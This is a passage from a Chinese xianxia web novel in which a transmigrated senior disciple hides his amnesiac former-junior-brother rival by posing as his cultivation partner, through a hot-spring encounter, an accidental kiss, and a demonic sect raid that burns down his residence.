冷不丁一句质疑。 晏兮汗毛倒竖:“你又胡说八道什么?” “不然为何师门上下无人知晓你我关系。甚至都觉得,你与那位风师姐才是天造地设的一对。” 晏兮一边在脑子里呼叫系统,一边面上露出被质疑的伤心。得到系统【信任度稳定,未下降】的回复,这才心下稍安。 果然又是试探! “那是因为这是陨星山的门规。” 叶暝挑眉:“门规?” “对。”晏兮点头,“陨星山严厉杜绝断袖之事!尤其我们还是同一个师尊座下,若是传出去,对师尊的名声是多大的损害?师门严令禁止的事情,我们当然要对外隐瞒了。” 叶暝若有所思地摸了摸下巴:“原来如此。” “这要隐瞒的提议想必是你提出的吧,我可不是那种喜欢躲躲藏藏的作风。”叶暝自信地道。 “其实不是。”晏兮保持假笑,“是因为你在意我的名声,你自己主动提出的,说别人怎么看你都没关系,唯独不能让我受人非议。毕竟你是那样的爱我。” “......”叶暝简直难以想象。 “还有一个问题。” 问问问,一天到晚问题那么多! 晏兮柔情似水:“您请讲呢。” “你说陨星山上发生了很多对我不利的事情,所以我不能见人,具体是什么事,你隐瞒了什么?” 晏兮心里一揪,知道这才是最核心的问题。 他不能说实话,只能继续含糊其辞:“总之......就是一些很复杂、对你不利的事情。你现在失忆了,状态不稳,贸然出现会很危险,可能会死的!我这几天就去找掌门师尊说说情,看能不能想办法,让他饶恕你之前的,呃,一些行为。” “听起来,我像是个罪人。”说不清是嘲讽还是什么,叶暝嗤笑着朝晏兮逼近一步,“为什么要你去说,我自己不能去?” “因为我是你道侣啊!”晏兮理直气又壮,“而且还是陨星山的大师兄,我护着你替你去周旋本来就是应该的。毕竟你是那样的爱我!” 叶暝眼皮抽了抽,不知道为什么有些听不得“爱”这个字:“既然是应该的,那我只给你两天时间。” “两天哪够啊,你犯的事可不小!” 两天还不够我把你从死人变活人。 叶暝面无表情地看着晏兮哭唧唧,沉默了一下,做了些许让步:“......三天。” 晏兮还想再讨价还价,但对上叶暝那双“再废话就一天”的眼神,只能见好就收:“行吧,三天就三天。” 见叶暝终于妥协,转身走向内室,晏兮蔫哒哒滑坐到椅子上,而内室里,叶暝随手从架子上抽出本书籍,背对着外间。 明明是那样漏洞百出的话,自己为何想要相信? 室内静谧无声,他忍不住回头瞥去,见晏兮似正为自己出的难题抓耳挠腮。 挺可爱。 这念头刚升起,胸口像被重重锤了一记,叶暝躬起身体,浑身经脉又开始隐隐作痛。 * 经此一遭,晏兮昨晚睡的地铺。 即便他话编到那个程度,面对披着龙傲天皮的限制文男主依旧不防不行。 望了眼背对着自己似乎在调息的叶暝,晏兮帮他把掉落的书捡起放回架子上,披上外袍,轻手轻脚出了门。 陨星山主殿。 气氛肃穆。 道玄清端坐高位,风止长老立于一旁,面色冷凝。 殿中央,一名被缚魔索捆得结结实实的修士正跪伏在地,显然已被擒获。 晏兮刚踏进殿门,还没来得及开口,就听到风止一声厉喝:“冥顽不灵,留之无用!” 随后在道玄清的默许下,风止一掌劈出,掌风击碎那魔修的天灵盖,连惨叫都未曾发出,那魔修便软软倒地,气息全无。 浓重的血腥味让晏兮胃里一阵翻腾,敲,大清早就给洒扫弟子增添工作量? “兮儿。”道玄清注意到了门口的晏兮,“你怎么来了?” “师尊,风止长老。”避开那滩逐渐扩大的暗红,晏兮上前行礼,“敢问这魔修是犯了多大的过错,需要当场格杀?” 道玄清尚未开口,风止便冷哼一声:“这魔修下山作乱,残害无辜百姓,伏诛后仍不知悔改,口出狂言。此等孽障,死有余辜!便如上回那个狂妄小儿叶暝,若他还活着被我擒住,我定叫他神魂俱灭!” 晏兮:“呃,叶师弟那日虽伤了人,但到底未取性命,罪不至神魂俱灭吧?” 道玄清和风止同时看来,目光如炬。 晏兮:“弟子失言。” ^_^ “魔道与仙门势同水火。暝儿既在三年前叛出师门,便不再是我派弟子。”道玄清难得冷脸,“兮儿,你已亲手为宗门除此祸患,叶暝已死,往事不必再提。” 得。 晏兮算是看明白了,经过上次叶暝在小师妹生辰宴上直接打上山门,重伤风止,与他交手还逼得掌门亲自出手才“击毙”,这侮辱性和威胁性都太强了。 师门高层对叶暝,尤其是入魔后的叶暝,绝对是零容忍态度。要是让他们知道叶暝不但没死,还失忆了被他藏在屋里——那画面太美他不敢想啊! “兮儿,你身体可还有不适?” 思绪收回,晏兮面对道玄清关切的询问,刚想开口,风止率先冷哼:“这都过去好几天了,我瞧你面色红润,活蹦乱跳,练剑堂的事务该你接着管了。” 别。叶暝那边的信任度停滞不前,随时有恢复记忆的风险,他这边自己还没搞定呢,哪有心思去管练剑堂? “那什么,多谢师尊和长老关心。其实我还是觉得心口有些闷,气血不太顺畅,可能那日受了内伤......” 说完,见风止似要反驳什么,晏兮立马捂住胸口,咳得死去活来,“咳咳咳咳yue——” 风止:“......” “既如此,便再多休息几日吧。”道玄清温声道,“后山寒潭之侧的灵煦泉有疗愈安神之效,你可去泡泡,于你伤势有益。” “是,多谢师尊。”晏兮乖乖应下,心里盘算着这灵煦泉听起来像是个好地方,这几天被叶暝吓得不轻,是该放松清净一下。 风止在一旁不屑地哼了声,显然是对晏兮的娇气很看不上眼,但掌门发了话,他也不便再多说什么。 晏兮行礼告退,走出正殿。 掌门和风止长老的态度如此坚决,为叶暝求情这条路基本是堵死了。 三天后,他拿什么跟叶暝交代? 晏兮忧郁了不到两秒,又雀跃起来,管他呢,这不三天还没到?先泡澡泡澡。 * 灵煦泉位于后山僻静之处,水汽氤氲,灵气充盈。 “大师兄,您来了。”泉边已有弟子恭敬等候,捧着木质托盘,上面整齐叠放着两件衣物,分别是原主惯常穿的月白素袍和更符合如今晏兮审美的粉色长袍。 将衣物放在泉边备好的石台上,那弟子垂手侍立一旁,准备像往常一样伺候原主沐浴。 晏兮实在难以接受被人看着洗澡:“这里不用伺候,你先下去吧。” 那弟子愣了下,似乎有些意外,但还是恭敬道:“是。” 四周恢复了寂静,只余泉水叮咚和偶尔的鸟鸣。 晏兮褪去衣物,缓缓浸入泉水中。 灵气顺着毛孔渗入四肢百骸,他舒服地喟叹一声,靠在池壁上闭眼享受着难得的安宁。 “系统。”他在脑里呼唤,“总觉得少了点什么,换个花瓣什么的小法术应该不贵吧?” 【宿主终于想起人家啦~】系统说,【幻影桃花瓣(一次性体验装)仅需5积分。可营造绝美沐浴氛围,泡完后一个清洁术即可光洁如新。】 才5积分,晏兮果断换了。 伴随脑子里叮一声,娇艳欲滴的粉桃花瓣凭空出现,飘飘洒洒落于水面,衬着氤氲热气,晏兮掬起一捧带着花瓣的泉水,心情大好。 以往身边的人都看人下菜碟,以前只有一线明星才能享受到的待遇,他一个十八线也能享受到了。 反正待会儿一个清洁术就能收拾干净,这点小享受可太值了。 意识渐渐放松,几乎要沉入梦乡。 忽听一阵轻微的脚步声靠近。 迷迷糊糊的以为是刚才那弟子去而复返,晏兮头也没回,懒洋洋地开口:“还有什么事呀?” 来人没有回答。 脚步声停在了他靠着的岸边。 晏兮感觉不对劲,刚想回头,一只手率先抚上他后颈,止住了他动作。 “我说的话,你是一点没记住呢。” 磁性的,泛着丝冷冽的嗓音在头顶响起。 男人掌心覆着层薄茧,五指缠绵温存,摩挲着那浸湿的细嫩皮肤。 “你去了哪,为什么没有跟我说?”《 》 8、第八章 服了。 这龙傲天消失三年,怕不是在魔域修炼魔功,而是跑男鬼学院进修去了,成天神出鬼没。 “不回答吗?” 抚在后颈的力道不轻不重,晏兮起了一身鸡皮疙瘩,“我看你在调息就没告诉你,况且我又没跑远。” “你答应过我要和我说去了哪,无论远近。总不能说话不算话,不是么?” “是是是,下次一定和你说。”晏兮真怕对方一个用力,把他掐死在这温泉里,“你怎么找来这里的?” “你不同我说声就跑了,我自然要来寻你。”叶暝语气仿佛晏兮问的这句是废话。 哟,什么态度? 晏兮倒打一耙,“我为了你的事焦头烂额,好不容易找个地方清净一下,你倒好,还跟踪我?” “我需要跟踪?”对方嗤笑道,“你身上有我留下的印记,你去了哪里我都能感知到。” 什么玩意儿?? 想起之前叶暝给他脖颈和手腕涂药时又揉又按,难道说—— 【宿主,您身上存在一道微弱的魔息标记,是在上次涂药时被种下的。】 系统的声音适时响起,晏兮这下是真的有点生气了:“你居然给我下标记,你不信任我是不是?!” 青年转身控诉,水花四溅。 “一个我完全不记得的道侣,值得多少信任?”叶暝望向他因怒气而泛红的脸颊,白里透粉,惹得人迫切地想要拧一把,“不过在主殿上你替我说话的事,我记下了。” 晏兮一愣,知道自己和道玄清风止的对话都被叶暝听到了。 叶暝:“原来我是陨星山的叛徒。” “那个,其实是有原因的,你不是坏......”晏兮想说些什么,见叶暝开始动手解自己的腰带,“你干什么?!” 屮艸芔茻。别一言不合就脱裤子啊喂! “沐浴。”叶暝言简意赅,见晏兮慌忙捂住眼睛,他舌尖一顶腮帮,要笑不笑地看过去,“怎么,你不是说曾经都是你上的我?都是坦诚相待的关系了,你害羞什么。” 一副像是知道自己被晏兮上过后很不爽的表情。 是啊,劳资的剧本里我都把龙傲天上了,我害羞什么? 晏兮被这话一激,胜负欲莫名燃起,分开指缝,从指缝里光明正大偷看。 氤氲水汽中,叶暝的身材一览无余,宽肩窄腰,肌肉线条流畅而充满力量感。不愧是以“卖.肉”为看点的限制文男主,比晏兮在穿书前见过的任何模特都要优越。 那里也很大。 晏兮:“......” 这不对吧?这会死人的吧?? 你今年才十八啊! 原著里那些后宫真能承受住??? 对方踏入水中,水波荡漾间,朝着晏兮这边游了过来。 “这地方那么大,你非要靠过来干嘛?” “旁边有点冷,你这里温暖点。” 灵煦泉恒温,不用想都知道这是借口。 觉察到叶暝游到身边,和他靠得极近:“好冷啊师兄,我可以抱着你吗?” 想占我便宜直说。 晏兮刚要严词拒绝,就被那双黑洞洞的眼眸盯着。 暗流涌动,充满了怀疑,仿佛在无声地质问:不是说我们从前很恩爱?这里没其他人,你再不让我抱,我就又要怀疑你话里的真实性了。 行,算你狠。 晏兮:“抱抱抱。” 叶暝得逞般地微笑起来,伸出手臂从后方环抱住晏兮。 仿佛怎么也捂不热的胸膛贴上晏兮温暖的后背,很不可思议的感觉。明明心底深处似乎排斥着这样的亲近,可叶暝就是不想放开。 晏兮僵硬地被他抱着,问出一个比当前气氛更尴尬的问题:“你就不问我,你为什么会叛出师门吗?” “重要吗。”叶暝下巴搁在晏兮湿漉漉的发顶,“八成就是被你之前口中那个总欺辱我的师兄逼的吧,然后我杀了他,不然为什么到现在,我都没在宗门里找到你说的那个欺辱我的师兄?” 他声音有些懒散,“能横行霸道之人必然地位不凡,我至今没见到那人只能是因为那人死了。” 晏兮:...... 666,这脑补可以啊,居然帮我圆回来了。 晏兮正提心吊胆生怕这人乱摸,忽然感觉胸口被拧了一下。 艹啊! “你干嘛?!” “真奇怪啊。”叶暝垂眼看晏兮,幻视垂耳兔炸毛,“师兄你的脸看起来挺显小,居然要大我五岁,看起来小小一只,其实也没比我矮多少,是因为脸幼加上瘦的缘故吗?” 他凑近晏兮颈侧,鼻尖蹭到他皮肤,深吸了一口:“师兄,你身上好香。” 这变态般的行为让晏兮心中小兔疯狂比中指,勉强抽出一条胳膊猛推叶暝脑壳,“就算你说那么多,我也不会答应和你做!” 叶暝啧了声:“没意思。” 抱了一会儿,又不甘寂寞地开口:“师兄你有没有想过,以前你不知道登临极乐的感觉,也许是我们位置反了呢?” 他用蛊惑的语气问,“让我在上面试试?肯定会让你爽的。” “想都别想!”晏兮坚守自己胡诌的人设,“当初我们结道侣的时候就说清楚了,位置绝对不能变。” “我真答应过这种事?” “是的。” “可我现在不记得了。” “那也得遵守。” 叶暝静默下来,周身散发出浓浓的怨念。 他心想以前的自己是白痴吗? 目光一寸寸流连在近在咫尺的晏兮身上。 水珠顺着白皙细腻的皮肤滑落,勾勒出流畅优美的肩颈线条和单薄漂亮的锁骨。氤氲的热气将青年的脸颊蒸得绯红,睫毛上挂着细小水珠,眼眸因气愤而显得格外湿润明亮。 面对这样一幅活色生香的景象,以前的自己居然能忍住不碰? 难不成,我真的不行? 叶暝低头一瞥水下明显精神奕奕的天柱:明明很行。 想做。 再看了看晏兮的。 对比强烈。 “你这个尺寸,真的能满足我吗?”叶暝无不怀疑地问。 奇耻大辱! 晏兮气得差点一口老血喷出来,“你管那么多,能用不就行了!” 紧接着感觉到身后那人不容忽视的威胁,脸都绿了:“你要实在想做,等回去,让我在上面,保准让你爽得嘤嘤嘤哭出来。” “做梦。”叶暝也黑了脸。 他是有底线的。不管以前的他是不是在下面,现在的他也绝对不会在下面。 “那就没得商量。”晏兮巴不得他拒绝。真要他上阵,他也不知道该怎么操作一个男人。 “你根本不懂如何爱人!”直男晏兮气得喷火,哗啦从水中站起,快步走向岸边去穿衣服。 穿衣服的时候,还能感觉到背后那道不容忽视的视线。 晏兮背过手挡住屁股,胡乱抓起那件粉色外袍就给自己套上,系腰带的手指都有些发颤。 叶暝目不转睛地盯着晏兮穿衣服的背影。 柔顺黑发贴在白皙的颈侧,水珠滚落,没入衣领。粉色外袍衬得晏兮肤色愈发莹白,腰身被腰带一束,更显得不盈一握。潜意识里,他对素白色有种道貌岸然的厌恶感,但粉色穿在晏兮身上,却只让人觉得俏丽生动。 “花瓣是我用法术变的,你泡完顺便收拾了吧。”晏兮系好衣带,丢下这么一句就遛了。 让你气我。 白嫖一次清洁术的积分。 直到那抹粉色消失在小径尽头,叶暝才缓缓收回目光,掬起一捧带着桃花瓣的泉水。 昨日看的书籍里写到,幻花术属于妖族法术,陨星山还教这个? 爱人如养花。 一般人或许会觉得用这种幻术花瓣沐浴过于奢侈,但叶暝瞧着那娇艳的颜色,再想到晏兮那身娇嫩得仿佛一碰就会留下痕迹的皮肤,只觉得,合该这般养着。 * 系统提示,叶暝信任度增加到70%。 许是晏兮那道侣的假名分起了效用,三日后,叶暝也没有出现在除晏兮之外陨星山上任何人的面前。 一晃眼又两个多月过去。 支线任务完成,探索陨星山地图满100%,晏兮从系统那获得了小一千积分。 师门上下,除了风止长老看他鼻子不是鼻子眼不是眼,其他人对待晏兮的态度都很好,尤其是道玄清,几乎是有求必应。所以一个老头的不爽不重要呢~ 用修真界物价换算,1灵石相当100r。 身为陨星山大师兄,除了偶尔要去主殿议事,晏兮每天揽月居、练剑堂、膳堂、三点一线。一个月小几百灵石,也算是日薪过万,吃穿用度不用愁。 而除了日常开销,大部分都被晏兮攒了起来,就像用花瓣幻术洗澡那样抠门。 这天。 从膳堂带了吃的回栖云峰,晏兮没在揽月居瞧见叶暝,半天没找到对方身影,仿佛两个月的安宁梦境终于被打碎,晏兮手里抛着玩的灵石没接着,落了地。 早该想到的,栖云峰这小破地儿入不了龙傲天的眼。 道侣这假身份困的住他一时困不住一世,何况叶暝对自己的揩油并非因为喜欢。 喜欢?怎么可能? 单纯是对“道侣”身份的好奇和一时兴起! 要知道原著是本限制文,男主那名动四界的后宫团可不是摆着好看的,更别说自那次灵煦泉之后晏兮一直不让叶暝碰自己。欲望那么强的人,必然耐不住寂寞。 晏兮放下食盒追出去,以为龙傲天终于要大闹一通跑去告诉全师门他胡汉三又特么诈尸回来了,而现今龙傲天对他的信任度达到70%,可以把他砸回植物人状态,晏兮正思索怎么偷袭能得手,余光在一处阳光充沛的草坪上扫见一长条黑乎乎影子。 晏兮猝不及防一停:哪来那么一长条屎? 离近了看,不是屎,是穿着黑衣裳的男主。 叶暝枕着胳膊躺在柔软的草甸上,长腿高高跷起,嘴里叼着根不知从哪里折来的翠绿灵草,似乎被暖融融的太阳晒得昏昏欲睡。 晏兮放轻脚步,捡起块巴掌大的石头悄悄靠近,对着叶暝的眉眼来回比划。 这么一比划,不自觉被脸吸引。 十八岁的龙傲天底子极好,阳光从旁照射在他棱角分明的侧脸上,特别帅,闭着眼时那股冷戾迫人的气势收敛,残留的一丝少年气便浮现出来,柔和了过于锐利的轮廓,透出几分安逸。 倒是有点小说前期那个尚未经历磨难,无忧无虑的少年影子了。 晏兮不禁地想,看来失去记忆对叶暝来说,也不一定全是件坏事? 如果不是原主那些打压和迫害,你会是什么样子? 大概会和练剑堂里那些看起来如同青草劲松的弟子,阳光正直,前途无量,或许仍然骄傲,但绝不会是如今这般从深渊爬出来的阴鸷模样。 而以你的天赋,你一定会成为其中最优秀耀眼的那一个。 正出神想着,手腕倏忽被一只大手捉住! 晏兮被一股力道拽得向前,石头脱手落地。他发丝垂落,扫过叶暝脸侧。 近在咫尺的距离,叶暝深黑色的眼睛清明锐利,哪里有一丝睡意? 刚想质问晏兮鬼鬼祟祟做什么。 晏兮被这突然睁开的眼睛吓了一跳,支撑身体的掌心一滑,原本虚撑在叶暝身侧的手臂失力,整个人扑下去。 唇上传来温热柔软的触感。 两人皆愣了。《 》 9、第九章 晏兮瞪得溜圆的眼睛里映出叶暝同样错愕的瞳孔,淦啊,这种不小心跌倒和男主接了个吻的恶俗剧情怎么发生在我身上了?! 双唇一触即分,那柔软的触感却似电流窜过四肢百骸,叫沸腾的血液集中往腹部涌去,叶暝的手抬了起来,似乎想要按住晏兮后脑勺,加深这个意外得来的吻。 但瞧出晏兮那说不清是惊恐还是害羞无措的表情,抬起的手在半空中犹豫了一瞬,终究还是缓缓放下了。 他别开脸:“接个吻而已,舌头都没伸,有什么大惊小怪的?” 和男人亲了和男人亲了啊啊啊!晏兮差点没绷住露出嫌弃的表情,闻言还有点气,一看见叶暝的表情又消气了,哼哼笑道:“说我大惊小怪,那你自己耳朵红个什么劲儿?” 叶暝被戳穿,舌尖不悦地顶了顶腮,没接话,取下嘴里那根灵草:“含着。” 晏兮没接,“这啥玩意儿,能吃?” “润脉的,虽治不了我的旧伤,但含着能舒服点。” 叶暝语气没什么起伏,“这么久以来我就没见过你打坐修炼,你这大师兄当得偷懒躲闲倒是熟练。没事多含会儿,也能防你修为倒退。” 晏兮将信将疑地接过来,“你怎么知道这草有这功效?” “不知道,不记得了。”叶暝仰躺回草地上,望向天空的眼神空茫悠远,“本能吧。” 晏兮心里一动,这所谓的本能,恐怕是叶暝被原主断了灵脉踹下山崖后在极端痛苦和求生欲中于山野间摸索出来的生存经验吧? ......把人砸回植物人好像有点残忍,放现代都算蓄意谋杀,何况以叶暝的敏锐度,他不一定能得手,被发现就完了。 可如果男主再在陨星山上多待一会儿,接触到熟悉的场景事物,会不会记起来更多“本能”? 届时他再凭“本能”抹了自己脖子怎么办? 瞥见晏兮仍拿着草不知所措的样子,叶暝眉头微挑:“怎么,不会?” “看来以前的我对你也不怎么样嘛,这都没教你。” 仿佛抓住一个能证明他比以前的自己更能给晏兮带来新体验的证据,叶暝有点小得意,顺手抽了根新的灵草,示范性地叼在齿间,示意晏兮照做。 叶暝做是少年意气风发,自己做就不一定了。 晏兮担心这动作自己做起来不好看,到时候就是该溜子本溜子。 可转念一想管他呢,又没在crush面前做,要这脸干嘛? 于是学着叶暝的样子含住草茎,唇齿间立即有股清凉甘甜漫延开。晏兮眼睛惊奇地眨巴两下,能不能润灵脉不知道,但这口感他挺喜欢,甜甜的纯天然。 小扇子般的睫羽垂落,晏兮专注地啃着,透出不自知的温顺。 这一幕落入叶暝眼底,只觉得晏兮这副样子可爱死了,宛如抱着多汁的胡萝卜啃得正尽兴的垂耳兔,让人忍不住想揉揉他的脑袋,再把他圈进怀里,不让旁人窥见。 微风拂过草尖,带来沙沙轻响。颇有几分岁月静好。 “叶暝,你想一直留在这里吗?” 晏兮倏忽问:“我的意思是,就一直这样下去,除了我,不被陨星山上其他任何人看见。” 叶暝侧过头看他,唇角勾起一抹调侃的弧度:“还说你不想把我关起来。” 晏兮难得没有跳脚:“我说认真的。” 叶暝面上笑意淡去。 一时半刻的蛰伏还好,但人要是一直留在原处,缩头缩尾一辈子,那和废了有什么区别? “我不会。”叶暝回答道。 不是不想,是不会。 晏兮没有去深思这两个字背后的差异,只当是他不愿。 太阳缓慢向西,晏兮起身拍了拍身上草屑,也拍了拍叶暝的肩膀:“时候不早,该回去了。我给你带了膳食,再不吃该凉了。” “等晚上再出来,我有个地方要带你去。” 神神秘秘的。叶暝问:“今天吃的什么?” “麻辣兔头!”晏兮笑说,“你最爱吃的。” 叶暝望向他背影,目光又落回草坪那颗石头上,边沿尖锐,能把人砸的头破血流,晏兮刚才拿着它靠近是想做什么? 叶暝皱皱眉,拿起石头后目光一凝,神态顿时又放松了,只见下方一只色泽鲜艳的毒虫被石头压碎成了泥浆。 原来是为了护他。 * 吃完饭,叶暝又晃去了那块草坪躺着。 虽然这会儿没了太阳,但至少比和晏兮同处一室要好——看得见“吃”不着,满屋子都充斥着晏兮的气息和身影,对血气方刚的叶暝来说简直就是种残忍的酷刑,不如死了算了。 他枕着双臂,望着渐渐暗下来的天空,始终想不明白。 自己的欲望分明这么强,以前的自己到底为什么能忍住不对晏兮下手? 居然还答应让晏兮在上面? 难道他爱晏兮真到了那个地步,连这方面都要迁就? 不过说到底,他能答应与一个男人结为道侣,一生一世一双人,这件事本身就很不可思议。 叶暝拧着眉,百思不得其解。 忽然间,远处有一点暖光摇曳着靠近。 栖云峰上树木花丛繁密,一到晚上光线昏暗,很难看清东西。那点光在黑暗中格外醒目,提着灯的人影变得清晰,是晏兮。 他成了这片黑暗中唯一行走的光源,让叶暝的目光不由自主地被吸引,牢牢锁住,挪不开眼。 晏兮走近,将灯笼提高,照亮两人之间的路,示意叶暝跟上来,“看得清路吗?看不清牵着我,不然一会儿摔了。” 叶暝偶尔觉得晏兮的思维方式很古怪。 无论修仙者还是修魔者,五感都比普通人强上十数倍甚至数百倍,自己是失忆,又不是修为尽废变成了普通人,怎么会看不清路甚至摔倒? 心里这么想着,视线却被晏兮垂在身侧的那只白皙的手给吸引了。 那只手在灯笼暖光的映照下,仿佛具有某种蛊惑他牵上去的魔力。 他正出神,没注意看路,脚下竟真的被一块凸起的石头绊倒,身形一个趔趄向前—— 晏兮转身眼疾手快地扶住他,语气里带着点“看吧我就说”的小得意。 “我就说让你牵着我吧,当心再摔成傻子!” 叶暝:“......”再? “我不是傻子。”耳根又开始发热。 粉衣翩跹。 叶暝注视着近在咫尺的青年背影,耳畔是心脏加速跳动的声音,他沉默着没有挣脱,反而一动不动,任由晏兮柔软的手将他的大手握紧。 奇怪,这个人的手好像天生就该和他的手牵在一起,掌心相贴,严丝合缝。 “你要带我去哪?”叶暝的声音在夜色里显得有些低沉。 “等会儿你就知道了。”晏兮卖着关子,牵着他,深一脚浅一脚地往前走。 他们避开了巡夜的弟子,来到了陨星山的山门口。 此时正是子夜,晏兮早就计算过了,每个月这两日看守山门的弟子最是马虎,基本都会偷懒打盹。果然,远远就能听到隐约的鼾声。 站在山门前,望着外面漆黑一片,仿佛蕴藏无限可能也潜藏着无数危险的广阔天地,晏兮停下脚步,松开了牵着叶暝的手。 他转过身,对着叶暝开口:“到了,现在起你可以做回你自己了。” 手心的温热骤然离去,心中仿佛缺失了一角。 叶暝怔了怔,看向自己空落落的手,一时间没明白晏兮的意思。 “现在整个修仙界,至少陨星山是容不下你的。你也忘记了我这个道侣。”青年的声音在夜风中显得有些飘忽,“你还很年轻,不应该被困在这一方小小的天地里。你可以开始新的人生,我不想成为你的枷锁。” 见叶暝还在低头看手,晏兮犹豫了一下,扣扣搜搜塞了他十来枚灵石:“我能给你的就这么多,你省着点用。” “......”叶暝表情一瞬间变得很难看,像被什么东西狠狠刺了一下,声线也冷冽下来,“新的人生?什么意思?你要赶我走?” “不是赶你走。”晏兮解释,“我的意思是,你不记得我们从前,现在对我肯定是没有感情的。与其用一个你都不记得的‘道侣’名义拴住你,束缚你的自由,不如放你走。” “所以你要赶我走?” 叶暝固执地重复着这句话,眸色越来越沉,周身的气息都变得危险起来。 “不是赶你走!是让你选择!” 晏兮简直要抓狂,感觉跟这失忆的龙傲天沟通有壁,“你是陨星山的叛徒,要想宁静地生活就不能被别人发现,难道你真甘心被我关在栖云峰一辈子吗?你肯定不会甘愿留在陨星山一辈子的!” 叶暝一噎,梗着脖子道:“等我想起来再说。” “等你想起来,你同样也要面对这个问题。” “说了半天。”叶暝盯着他,“你不还是想赶我走?” 晏兮:你是会总结的。 信任度一个多月没进展了,哪能继续放任你待在这儿,万一被你想起来什么得不偿失怎么办? 晏兮放弃辩论,用高深莫测的语气说:“人生是旷野,爱亦是成全——” “狗屁的成全。”叶暝毫不客气地打断,“有你这么抛弃道侣的吗?” 晏兮只觉莫名其妙:“不是,谈什么抛弃啊?你现在又不喜欢我。” “谁说我——”叶暝的话戛然而止。 陨星山深处突然传来一阵骚动! 浓黑烟柱冲天而起,伴随着弟子惊慌失措的呼喊: “不好了,走水了!是魔族!魔族来犯!!” 两人猛地扭头看去,只见黑烟冒出的方向,赫然就是栖云峰。 揽月居失火了!《 》 10、第十章 陨星山各峰陆陆续续起了火,其中以栖云峰火势最为猛烈。 火光映红半边天,被烧家的晏兮心中八百头草泥马蹦腾而过,掐诀御剑而起。 “你别跟来,万一撞见别的弟子被人发现就完了。”晏兮回头厉声喝止,“被发现了我可不会管你死活!” 叶暝被吼得脚步顿住。 是了,他一个顶着叛徒名头的魔修,若在宗门内被当场撞破,叫晏兮这位风光霁月的大师兄如何自处? 维护清誉是理所应当,划清界限更是情理之中。他都理解。 攥着灵石的手紧了又松,松了又紧,叶暝依言停在了原处,只是目光仍紧盯着栖云峰方向。 “你趁现在赶紧下山,再也别回来!” 注视着消失在火光中的晏兮的身影,听见对方的后话,叶暝眸色沉沉,是很浓郁的黑色,以口型回答:我不。 晏兮自然没听到。 他边往回赶,边在脑海里急呼系统:“现在什么情况,那些魔修怎么回事?目标是叶暝?” 【宿主,想要隔空看清内里情况属于元婴修士才能稳定施展的高阶法术,您目前金丹中期,是否花费500积分掌握此类法术?】 晏兮:死贵!没有一次性体验卡? 【咳咳,考虑到一次性法术性价比太低,建议宿主直接购买“灵犀窥影术”呢,可以额外赠送一张“傀儡娃娃”的半价券。】 那岂不是五折? 晏兮一个人分身乏术,傀儡娃娃可攻击可防守很实用,晏兮有些心动:我目前多少积分? 【1250。】 晏兮咬咬牙:买了! 【叮!扣除“灵犀窥影术”-500积分,扣除“傀儡娃娃”-500积分(半价券已使用),目前所剩积分:250。】 250,晏兮感觉跟被骂了似的。没想到穿书了也要身陷消费套路,本就没多少的积分岌岌可危,什么时候才能实现积分自由? 顾不上吐槽,当即施展灵犀窥影术。 视野仿佛穿透了空间,清楚看到主峰广场上的景象—— 道玄清和风止长老等人正在浴血杀敌。 剑气纵横,魔气翻涌。 光凭修为,那几个魔修可不是道玄清他们的对手,可魔修手段卑劣,耍的就是放不上台面的手段,竟挟持了数名弟子作为人质,其中就包括风轻絮。 被扼住脖颈的少女面色煞白:“爹爹救我!” 风止目眦欲裂:“无耻之尤!” 文澜在一旁急得大喊:“快放开小师妹!” 为首的魔修狞笑道:“要我放开也行,说!我们少主在哪儿?!” 文澜想也不想就吼道:“说的是叶暝?叶暝竟成了你们魔域的少主?呵,早死在我们大师兄手上了!那种叛徒死有余辜!” 晏兮心中暗道不好,这文澜是个不会说话的大傻叉。 连忙召唤傀儡娃娃,下一秒,扎着小辫子穿红肚兜的孩童圆滚滚地出现。一岁左右胖墩墩的,那双大眼睛倒是漂亮,看上去还有三分像晏兮。 “卡哇伊呐,就叫你墩墩吧。”晏兮简单交代了一句,墩墩点头,扭身飞去。 果然,那魔修被激怒了,手上力道加重:“是吗?好啊,那就给我们少主陪葬!” 眼看风轻絮就要命丧于魔修掌力之中,风止紧张得大喊:“住手!” 千钧一发之际,墩墩无声无息地在那魔修背后落地,朝他腿弯处重重撞去! “什么东西?!”魔修吃痛,手刚松开些,远处一道凝练的白色光束破空而来,精准击中他扼住风轻絮的手腕! “呃啊!”魔修痛呼着松开了钳制,又被墩墩撞得趔趄,咚地跪倒在地。 风止抬头望去,只见不远处的半空,晏兮御剑停立。青年衣袂飘飘,面色淡漠,刚刚那道救命的灵力正是出自他手。 那魔修被击得踉跄后退,道玄清眼疾手快,指尖射出一道金光闪闪的缚魔链,瞬间将那魔修五花大绑,动弹不得。 文澜等弟子又惊又喜:“是大师兄!” “刚才那娃娃是傀儡术?大师兄竟然已经掌握这么高级的法术了?!” “不愧是大师兄!!” 晏兮的视线与道玄清在空中交汇,他轻轻一点头,来不及多言,便继续御剑飞向火光冲天的栖云峰。 栖云峰已是一片狼藉,尤其揽月居,几乎被烧成了白地。晏兮冲进去一看,心都凉了。 他这两个多月好不容易从原主遗泽和自己省吃俭用攒下来的宝贝灵石,全都被烧光了! “好几百万呢这得,魔修我艹你大爸!”晏兮抱头。 “别动——” 忽然,一把魔刀悄无声息地架在了晏兮的脖颈上,锋利的刀刃紧贴皮肤,沁出一丝血线。 一道阴恻恻的乌鸦嗓在他耳边响起。 “艹我大爸?口气倒不小。” “你便是陨星山掌门座下首席大弟子晏兮吧,我等少主呢,前来寻你报仇后便不见了踪迹,莫非真被你这个废物杀了不成?” 干嘛骂人呢。 晏兮镇定道:“兄台这话可不对,我若能杀了你们少主,怎会是废物?” “少呈口舌之快!”那魔修手腕微动,刀锋又逼近一分,得意道,“你一定想破脑袋也想不出,我们是怎么断定少主在此处并且找来的吧?” 晏兮说:“是阎枭派你们来的吧。” “大胆,竟敢直呼尊上名讳!”那魔修反应了一秒,惊疑不定,“你怎会知晓?!” 这就是看过原著的好处了。 叶暝能往晏兮身上留追踪魔息,别人自然也能在叶暝身上留。 当初魔尊阎枭瞧中了叶暝的天赋和巨大的复仇欲,在魔域中提拔他,短短三年叶暝就成了魔域少主。 魔尊担心控制不了这头猛虎,便特地留了一手。 除了追踪魔息,还有更阴毒的蛊虫。 “说!把我们少主藏哪儿了?”魔修厉声逼问。 晏兮目光闪动,落向他身后:“他在你后面。” 魔修下意识回头,晏兮抓住机会一个肘击狠狠撞向对方心脉,并把他头发点了。 “唔!”魔修猝不及防,喉间溢出声痛吟。 晏兮一击得手,撒腿就跑。 能被他一个金丹中期灵力暴击打中要害还不当即毙命的,少说也得是个魔将身份。 